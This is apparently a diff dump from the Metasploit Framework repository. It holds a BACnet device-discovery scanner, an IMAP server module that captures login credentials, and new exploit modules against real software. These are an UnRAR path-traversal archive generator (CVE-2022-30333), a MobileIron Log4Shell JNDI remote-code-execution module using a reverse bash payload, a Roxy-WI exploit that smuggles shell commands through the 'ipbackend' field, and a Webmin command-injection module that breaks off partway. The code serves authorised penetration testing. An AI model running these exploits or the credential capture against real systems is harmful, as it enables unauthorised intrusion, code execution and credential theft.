||||
|
||||
idx = 2
|
||||
if dst_specifier
|
||||
dst_len = data[idx + 2].ord
|
||||
idx += 3 + dst_len
|
||||
end
|
||||
if src_specifier
|
||||
src_net_id = data[idx..idx + 1]
|
||||
sadr_len = data[idx + 2]
|
||||
sadr = data[idx + 3..idx + 2 + sadr_len.unpack1('C*')]
|
||||
is_nested = true
|
||||
end
|
||||
|
||||
# if no network address specified - set as broadcast network address
|
||||
src_net_id ||= '\x00'
|
||||
end
|
||||
[is_nested, src_net_id, sadr_len, sadr]
|
||||
end
|
||||
|
||||
# Extracting index to start handling the data from
|
||||
def extract_index(data)
|
||||
if data.start_with? BACNET_ASHARE_STANDARD
|
||||
begin
|
||||
control = data[1].unpack1('C*')
|
||||
src_specifier = control & (1 << 3) != 0 # check if 4th bit is set
|
||||
dst_specifier = control & (1 << 5) != 0 # check if 6th bit is set
|
||||
idx = 2
|
||||
if dst_specifier
|
||||
idx += 3 + dst_len
|
||||
end
|
||||
if src_specifier
|
||||
sadr_len = data[idx + 2]
|
||||
idx += 3 + sadr_len.unpack1('C*')
|
||||
end
|
||||
idx += 1 if dst_specifier # increase index if both specifiers exist
|
||||
idx
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Broadcasting Who-is and returns a capture with the responses.
|
||||
def broadcast_who_is
|
||||
begin
|
||||
broadcast_addr = get_ipv4_broadcast(datastore['INTERFACE'])
|
||||
interface_addr = get_ipv4_addr(datastore['INTERFACE'])
|
||||
rescue StandardError
|
||||
raise StandardError, "Interface #{datastore['INTERFACE']} is down"
|
||||
end
|
||||
cap = []
|
||||
|
||||
# Create a socket for broadcast response and a socket for unicast response.
|
||||
lsocket = Rex::Socket::Udp.create({
|
||||
'LocalHost' => broadcast_addr,
|
||||
'LocalPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
ssocket = Rex::Socket::Udp.create({
|
||||
'LocalHost' => interface_addr,
|
||||
'LocalPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
datastore['COUNT'].times { lsocket.sendto(DISCOVERY_MESSAGE_L3, '255.255.255.255', datastore['PORT'], 0) }
|
||||
|
||||
# Collect responses with unicast or broadcast destination.
|
||||
loop do
|
||||
data, host, port = lsocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
data2, host2, port2 = ssocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
break if (host.nil? && host2.nil?)
|
||||
|
||||
cap << [data, host, port] if host
|
||||
cap << [data2, host2, port2] if host2
|
||||
end
|
||||
lsocket.close
|
||||
cap
|
||||
end
|
||||
|
||||
# Analyze I-am packets,and prepare read-property messages for each.
|
||||
def analyze_i_am_devices(capture)
|
||||
devices_data = {}
|
||||
instance_numbers = []
|
||||
capture.each do |cap|
|
||||
data = cap[0]
|
||||
ip = cap[1]
|
||||
next unless data[0] == BACNETIP_CONSTANT # If communication is not a bacnet/ip
|
||||
|
||||
data = data[4..]
|
||||
index = data.index(BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX)
|
||||
next unless index # If cap has no I-am object
|
||||
|
||||
raw_instance_number = bin_to_hex(data[(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length)..(index + BACNET_UNCOFIRMED_REQ_I_AM_OBJ_DEVICE_PREFIX.length + 2)]).to_i(16) & 0x3fffff
|
||||
instance_number = raw_instance_number.to_s(16).rjust(6, '0')
|
||||
next if instance_numbers.include? instance_number # Pass if we already analysed this instance number
|
||||
|
||||
devices_data[[instance_number, ip]] = data unless devices_data[[instance_number, ip]]
|
||||
end
|
||||
devices_data
|
||||
end
|
||||
|
||||
def create_messages_for_devices(devices_data)
|
||||
messages = {}
|
||||
devices_data.each do |key, data|
|
||||
instance_number = hex_to_bin(key[0])
|
||||
items = parse_npdu(data) # Get specifier data
|
||||
# Check if device is nested and create messages accordingly
|
||||
if items[0] == true
|
||||
messages[key] = create_nested_messages(instance_number, items)
|
||||
else
|
||||
messages[key] = create_simple_messages(instance_number)
|
||||
end
|
||||
end
|
||||
messages
|
||||
end
|
||||
|
||||
# Create messages for nested device and return them in array.
|
||||
def create_nested_messages(instance_number, items)
|
||||
nested_messages = []
|
||||
GET_PROPERTY_MESSAGES_L3_NESTED.each do |msg_base|
|
||||
msg = msg_base
|
||||
.sub('{object_identifier}', instance_number)
|
||||
.sub('{dest_net_id}', items[1])
|
||||
.sub('{dadr_len}', items[2])
|
||||
.sub('{dadr}', items[3])
|
||||
length = Array(msg.length + BACNET_BVLC_LEN).pack('n*')
|
||||
msg = "\x81\n#{length}#{msg}"
|
||||
nested_messages.append(msg)
|
||||
end
|
||||
nested_messages
|
||||
end
|
||||
|
||||
# Create messages for non-nested device and return them in array.
|
||||
def create_simple_messages(instance_number)
|
||||
simple_messages = []
|
||||
GET_PROPERTY_MESSAGES_L3_SIMPLE.each do |msg_base|
|
||||
msg = msg_base.sub('{object_identifier}', instance_number)
|
||||
simple_messages.append(msg)
|
||||
end
|
||||
simple_messages
|
||||
end
|
||||
|
||||
# Loop on recorded packets and extract data from read-property messages
|
||||
def extract_data(capture)
|
||||
asset_data = {}
|
||||
capture.each do |packet|
|
||||
data = packet[0][4..]
|
||||
items = parse_npdu(data)
|
||||
index = extract_index(data)
|
||||
asset_data['sadr'] = bin_to_hex(items[3]) if items[0] == true
|
||||
type = data[index + 8..index + 9]
|
||||
attribute = ''
|
||||
case type
|
||||
when READ_MODEL_NAME_PROP
|
||||
attribute = 'model-name'
|
||||
when READ_DESCRIPTION_PROP
|
||||
attribute = 'description'
|
||||
when READ_APP_SOFT_VERSION_PROP
|
||||
attribute = 'application-software-version'
|
||||
when READ_FIRMWARE_VERSION_PROP
|
||||
attribute = 'firmware-revision'
|
||||
else
|
||||
raise "undefined attribute for property number #{bin_to_hex(type)}."
|
||||
end
|
||||
value = bin_to_hex(data[index + 9..])[/3e(.*?)3f/m, 1]
|
||||
value = hex_to_bin(value)
|
||||
value = (value[value.index(hex_to_bin('00')) + 1..]).force_encoding('UTF-8') # parsing the needed text
|
||||
asset_data[attribute] = value
|
||||
end
|
||||
asset_data
|
||||
end
|
||||
|
||||
# Gets properties from devices and returns a hash with the details of each device.
|
||||
def get_properties_from_devices(messages)
|
||||
devices_by_ip = {}
|
||||
messages.each do |key, message_block|
|
||||
instance_number = key[0].to_i(16)
|
||||
ip = key[1]
|
||||
|
||||
capture = send_read_properties(message_block, ip, instance_number)
|
||||
begin
|
||||
device = extract_data(capture)
|
||||
raise StandardError if device.empty?
|
||||
|
||||
device['instance-number'] = instance_number.to_s
|
||||
devices_by_ip[ip] = [] unless devices_by_ip[ip]
|
||||
devices_by_ip[ip].append(device)
|
||||
rescue StandardError
|
||||
print_bad("Couldn't collect data for asset number #{instance_number}.")
|
||||
end
|
||||
end
|
||||
devices_by_ip
|
||||
end
|
||||
|
||||
# Sending read-property packets and returns a pcap with the responses.
|
||||
def send_read_properties(messages, ip, instance_number)
|
||||
cap = []
|
||||
ssocket = Rex::Socket::Udp.create({
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => datastore['PORT'],
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
print_status("Querying device number #{instance_number} in ip #{ip}")
|
||||
messages.each do |message|
|
||||
ssocket.sendto(message, ip, datastore['PORT'], 0)
|
||||
loop do
|
||||
data, host, port = ssocket.recvfrom(65535, datastore['TIMEOUT'])
|
||||
break if host.nil?
|
||||
|
||||
cap << [data, host, port]
|
||||
end
|
||||
end
|
||||
ssocket.close
|
||||
cap
|
||||
end
|
||||
|
||||
# Iterates over all the devices and prints the details to the user.
|
||||
def output_results(devices_by_ip)
|
||||
devices_by_ip.each_value do |ip_group|
|
||||
ip_group.each do |asset|
|
||||
sadr = ''
|
||||
if asset['sadr']
|
||||
sadr = "sadr: #{asset['sadr']}\n"
|
||||
end
|
||||
print_good(<<~OUTPUT)
|
||||
for asset number #{asset['instance-number']}:
|
||||
\tmodel name: #{asset['model-name']}
|
||||
\tfirmware revision: #{asset['firmware-revision']}
|
||||
\tapplication software version: #{asset['application-software-version']}
|
||||
\tdescription: #{asset['description']}
|
||||
\t#{sadr}
|
||||
OUTPUT
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Convert data values to xml format.
|
||||
def parse_data_to_xml(raw_data)
|
||||
data = ''
|
||||
raw_data.each do |ip, devices|
|
||||
chunk = <<~IP.chomp
|
||||
<ip>
|
||||
<value> #{ip} </value>
|
||||
IP
|
||||
devices.each do |device|
|
||||
sadr = ''
|
||||
if device['sadr']
|
||||
sadr = "
|
||||
<sadr> #{device['sadr']} </sadr>"
|
||||
end
|
||||
chunk = <<~XML.chomp
|
||||
#{chunk}
|
||||
<asset>
|
||||
<instance-number> #{device['instance-number']} </instance-number>
|
||||
<model-name> #{device['model-name']} </model-name>
|
||||
<application-software-version> #{device['application-software-version']} </application-software-version>
|
||||
<firmware-revision> #{device['firmware-revision']} </firmware-revision>
|
||||
<description> #{device['description']} </description>#{sadr}
|
||||
</asset>
|
||||
XML
|
||||
end
|
||||
chunk += <<~IP
|
||||
|
||||
</ip>
|
||||
IP
|
||||
data += chunk
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def get_device_array(devices_by_ip)
|
||||
devices = []
|
||||
devices_by_ip.each do |ip, batch|
|
||||
batch.each do |device|
|
||||
device['ip'] = ip
|
||||
devices << device
|
||||
end
|
||||
end
|
||||
devices
|
||||
end
|
||||
|
||||
def run
|
||||
# Validate user input
|
||||
raise Msf::OptionValidateError, ['TIMEOUT'] if datastore['TIMEOUT'].negative?
|
||||
raise Msf::OptionValidateError, ['COUNT'] if datastore['COUNT'] < 1
|
||||
raise Msf::OptionValidateError, ['INTERFACE'] if datastore['INTERFACE'].empty?
|
||||
|
||||
begin
|
||||
# Broadcast who-is and create request-property messages for detected devices.
|
||||
print_status "Broadcasting Who-is via #{datastore['INTERFACE']}"
|
||||
capture = broadcast_who_is
|
||||
devices_data = analyze_i_am_devices(capture)
|
||||
messages = create_messages_for_devices(devices_data)
|
||||
|
||||
# If there are messages to send
|
||||
if !messages.empty?
|
||||
print_status "found #{messages.length} devices"
|
||||
sleep(DEFAULT_SLEEP)
|
||||
devices_by_ip = get_properties_from_devices(messages)
|
||||
print_status 'Done collecting data'
|
||||
sleep(DEFAULT_SLEEP)
|
||||
output_results(devices_by_ip)
|
||||
else
|
||||
fail_with(Failure::NotFound, 'No devices found. Exiting.')
|
||||
end
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
return
|
||||
end
|
||||
begin
|
||||
data = parse_data_to_xml(devices_by_ip)
|
||||
begin
|
||||
store_local('bacnet.devices.info'.dup, 'text/xml', data, FILE_NAME)
|
||||
print_good("Successfully saved data to local store named #{FILE_NAME}.xml")
|
||||
rescue StandardError # If there are no privileges to save a file
|
||||
devices = get_device_array(devices_by_ip)
|
||||
report_note(
|
||||
ips: devices_by_ip.keys,
|
||||
devices: devices,
|
||||
proto: 'udp'
|
||||
)
|
||||
print_good('Successfully reported data')
|
||||
end
|
||||
print_status('Done.')
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::Unknown, e.message)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -648,23 +648,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Generates the private key from the P, Q and E values
|
||||
def key_from_pqe(p, q, e)
|
||||
# Returns an RSA Private Key from Factors
|
||||
key = OpenSSL::PKey::RSA.new()
|
||||
key.set_factors(p, q)
|
||||
|
||||
n = key.p * key.q
|
||||
phi = (key.p - 1) * (key.q - 1 )
|
||||
n = p * q
|
||||
phi = (p - 1) * (q - 1 )
|
||||
d = OpenSSL::BN.new(e).mod_inverse(phi)
|
||||
|
||||
key.set_key(n, e, d)
|
||||
dmp1 = d % (p - 1)
|
||||
dmq1 = d % (q - 1)
|
||||
iqmp = q.mod_inverse(p)
|
||||
|
||||
dmp1 = key.d % (key.p - 1)
|
||||
dmq1 = key.d % (key.q - 1)
|
||||
iqmp = key.q.mod_inverse(key.p)
|
||||
asn1 = OpenSSL::ASN1::Sequence(
|
||||
[
|
||||
OpenSSL::ASN1::Integer(0),
|
||||
OpenSSL::ASN1::Integer(n),
|
||||
OpenSSL::ASN1::Integer(e),
|
||||
OpenSSL::ASN1::Integer(d),
|
||||
OpenSSL::ASN1::Integer(p),
|
||||
OpenSSL::ASN1::Integer(q),
|
||||
OpenSSL::ASN1::Integer(dmp1),
|
||||
OpenSSL::ASN1::Integer(dmq1),
|
||||
OpenSSL::ASN1::Integer(iqmp)
|
||||
]
|
||||
)
|
||||
|
||||
key.set_crt_params(dmp1, dmq1, iqmp)
|
||||
|
||||
return key
|
||||
key = OpenSSL::PKey::RSA.new(asn1.to_der)
|
||||
key
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -95,8 +95,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
raise RuntimeError, "Telephony not available"
|
||||
end
|
||||
|
||||
@confdir = File.join(Msf::Config.get_config_root, 'wardial')
|
||||
@datadir = File.join(Msf::Config.get_config_root, 'logs', 'wardial')
|
||||
@confdir = File.join(Msf::Config.config_directory, 'wardial')
|
||||
@datadir = File.join(Msf::Config.config_directory, 'logs', 'wardial')
|
||||
|
||||
# make sure working dirs exist
|
||||
FileUtils.mkdir_p(@confdir)
|
||||
|
||||
@@ -52,7 +52,33 @@ class MetasploitModule < Msf::Auxiliary
|
||||
data = c.get_once
|
||||
return unless data
|
||||
num, cmd, arg = data.strip.split(/\s+/, 3)
|
||||
arg ||= ""
|
||||
cmd ||= ''
|
||||
arg ||= ''
|
||||
args = []
|
||||
|
||||
# If the argument is a number in braces, such as {3}, it means data is coming
|
||||
# separately
|
||||
if arg.chomp =~ /\{[0-9]+\}$/
|
||||
loop do
|
||||
# Ask for more data
|
||||
c.put "+ \r\n"
|
||||
|
||||
# Get the next line
|
||||
arg = (c.get_once || '').chomp
|
||||
|
||||
# Remove the length field, if there is one
|
||||
if arg =~ /(.*) \{[0-9]+\}$/
|
||||
args << $1
|
||||
else
|
||||
# If there's no length field, we're at the end
|
||||
args << arg
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
# If there's no length, treat it like we used to
|
||||
args = arg.split(/\s+/)
|
||||
end
|
||||
|
||||
if cmd.upcase == 'CAPABILITY'
|
||||
c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
|
||||
@@ -74,10 +100,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if cmd.upcase == 'LOGIN'
|
||||
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
||||
|
||||
@state[c][:user], @state[c][:pass] = args
|
||||
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
||||
print_good("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
@@ -87,6 +113,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
|
||||
if cmd.upcase == 'ID'
|
||||
# RFC2971 specifies the ID command, and `NIL` is a valid response
|
||||
c.put("* ID NIL\r\n")
|
||||
c.put("#{num} OK ID completed\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
@state[c][:pass] = data.strip
|
||||
c.put "#{num} NO LOGIN FAILURE\r\n"
|
||||
return
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Format::RarSymlinkPathTraversal
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',
|
||||
'Description' => %q{
|
||||
This module creates a RAR file that exploits CVE-2022-30333, which is a
|
||||
path-traversal vulnerability in unRAR that can extract an arbitrary file
|
||||
to an arbitrary location on a Linux system. UnRAR fixed this
|
||||
vulnerability in version 6.12 (open source version 6.1.7).
|
||||
|
||||
The core issue is that when a symbolic link is unRAR'ed, Windows
|
||||
symbolic links are not properly validated on Linux systems and can
|
||||
therefore write a symbolic link that points anywhere on the filesystem.
|
||||
If a second file in the archive has the same name, it will be written
|
||||
to the symbolic link path.
|
||||
},
|
||||
'Author' => [
|
||||
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
|
||||
'Ron Bowes', # Analysis, PoC, and module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2022-30333'],
|
||||
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
|
||||
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
|
||||
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Payload' => {
|
||||
# The RAR file has 4096 bytes of space
|
||||
'Space' => 4096
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Generic RAR file', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2022-06-28',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
|
||||
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),
|
||||
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Target filename: #{datastore['TARGET_PATH']}")
|
||||
|
||||
begin
|
||||
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), datastore['TARGET_PATH'], payload.encoded)
|
||||
rescue StandardError => e
|
||||
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
|
||||
end
|
||||
|
||||
file_create(rar)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,132 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Log4Shell
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(_info = {})
|
||||
super(
|
||||
'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',
|
||||
'Description' => %q{
|
||||
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
|
||||
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the tomcat user.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # JNDI/LDAP lib stuff
|
||||
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
|
||||
'rwincey', # discovered log4shell vector in MobileIron
|
||||
'jbaines-r7' # wrote this module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2021-44228' ],
|
||||
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
|
||||
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],
|
||||
[ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]
|
||||
],
|
||||
'DisclosureDate' => '2021-12-12',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'SRVPORT' => 389,
|
||||
'WfsDelay' => 30
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux', {
|
||||
'Platform' => 'unix',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
},
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'AKA' => ['Log4Shell', 'LogJam'],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'RelatedModules' => [
|
||||
'auxiliary/scanner/http/log4shell_scanner',
|
||||
'exploit/multi/http/log4shell_header_injection'
|
||||
]
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def wait_until(&block)
|
||||
datastore['WfsDelay'].times do
|
||||
break if block.call
|
||||
|
||||
sleep(1)
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
validate_configuration!
|
||||
|
||||
vprint_status('Attempting to trigger the jndi callback...')
|
||||
|
||||
start_service
|
||||
res = trigger
|
||||
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?
|
||||
|
||||
wait_until { @search_received }
|
||||
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
|
||||
ensure
|
||||
cleanup_service
|
||||
end
|
||||
|
||||
def build_ldap_search_response_payload
|
||||
return [] if @search_received
|
||||
|
||||
@search_received = true
|
||||
|
||||
return [] unless @exploiting
|
||||
|
||||
print_good('Delivering the serialized Java object to execute the payload...')
|
||||
build_ldap_search_response_payload_inline('CommonsBeanutils1')
|
||||
end
|
||||
|
||||
def trigger
|
||||
@search_received = false
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),
|
||||
'headers' => {
|
||||
'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"
|
||||
},
|
||||
'encode' => false,
|
||||
'vars_post' => {
|
||||
'j_username' => log4j_jndi_string,
|
||||
'j_password' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'logincontext' => 'employee'
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
validate_configuration!
|
||||
@exploiting = true
|
||||
start_service
|
||||
res = trigger
|
||||
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302
|
||||
|
||||
wait_until { @search_received && (!handler_enabled? || session_created?) }
|
||||
handler
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,121 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated command injection vulnerability in Roxy-WI
|
||||
prior to version 6.1.1.0. Successful exploitation results in remote code execution
|
||||
under the context of the web server user.
|
||||
|
||||
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Nuri Çilengir <nuri[at]prodaft.com>', # Author & Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory
|
||||
['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information
|
||||
['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch
|
||||
['CVE', '2022-31137']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 25
|
||||
},
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix (In-Memory)',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :in_memory
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux (Dropper)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :dropper
|
||||
}
|
||||
]
|
||||
],
|
||||
'CmdStagerFlavor' => ['printf'],
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2022-07-06',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
return send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),
|
||||
'vars_post' => {
|
||||
'serv' => '127.0.0.1',
|
||||
'ipbackend' => "\"; #{cmd} ;#",
|
||||
'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),
|
||||
'backend_server' => '127.0.0.1'
|
||||
}
|
||||
}, 10
|
||||
)
|
||||
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT
|
||||
return nil
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking if #{peer} is vulnerable!")
|
||||
|
||||
res = execute_command('id')
|
||||
|
||||
return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
|
||||
|
||||
if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
|
||||
print_status("#{peer} is vulnerable!")
|
||||
return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
|
||||
elsif res.code == 200
|
||||
return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
|
||||
else
|
||||
return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Exploiting...')
|
||||
case target['Type']
|
||||
when :in_memory
|
||||
execute_command(payload.encoded)
|
||||
when :dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,179 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Webmin Package Updates RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary command injection in Webmin
|
||||
versions prior to 1.997.
|
||||
|
||||
Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform
|
||||
package updates and installation. Due to a lack of input
|
||||
sanitization, it is possibe to inject arbitrary command that will be
|
||||
concatenated to the package manager call.
|
||||
|
||||
This exploit requires authentication and the account must have access
|
||||
to the Software Package Updates module.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Christophe De La Fuente', # MSF module
|
||||
'Emir Polat' # Discovery and PoC
|
||||
],
|
||||
'References' => [
|
||||
[ 'EDB', '50998' ],
|
||||
[ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'],
|
||||
[ 'CVE', '2022-36446']
|
||||
],
|
||||
'DisclosureDate' => '2022-07-26',
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Privileged' => true,
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64],
|
||||
'Payload' => { 'BadChars' => '/' },
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 10000,
|
||||
'SSL' => true
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix In-Memory',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_memory,
|
||||
